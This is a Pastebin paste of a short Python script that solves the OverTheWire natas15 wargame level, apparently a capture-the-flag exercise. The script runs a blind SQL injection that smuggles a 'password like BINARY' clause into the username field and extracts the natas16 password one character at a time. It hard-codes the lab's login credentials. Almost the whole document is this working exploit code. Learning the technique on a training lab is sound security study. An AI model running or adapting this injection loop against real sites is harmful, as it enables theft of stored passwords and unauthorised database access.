daily pastebin goal
63%
SHARE
TWEET

Untitled

a guest Jan 8th, 2013 426 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # natas15
  2. # Stuart C. Larsen (poptarts4liffe@gmail.com)
  3. import httplib2
  4. from urllib.parse import urlencode
  5. h = httplib2.Http()
  6. h.add_credentials('natas15', 'm2azll7JH6HS8Ay3SOjG3AGGlDGTJSTV')
  7.  
  8. baseStr = "";
  9. testCharacter="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"
  10. index = 0
  11. while index < len(testCharacter):    
  12.     data = urlencode(dict(username="natas16\" AND password like BINARY \"" + baseStr + testCharacter[index] + "%\" -- "))
  13.     resp, content = h.request("http://natas15.natas.labs.overthewire.org/index.php?" + data, method="POST")
  14.     if ("This user exist" in str(content)):
  15.         baseStr += testCharacter[index];
  16.         print("New Password: " + baseStr)
  17.         index = 0
  18.         continue
  19.     index += 1
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top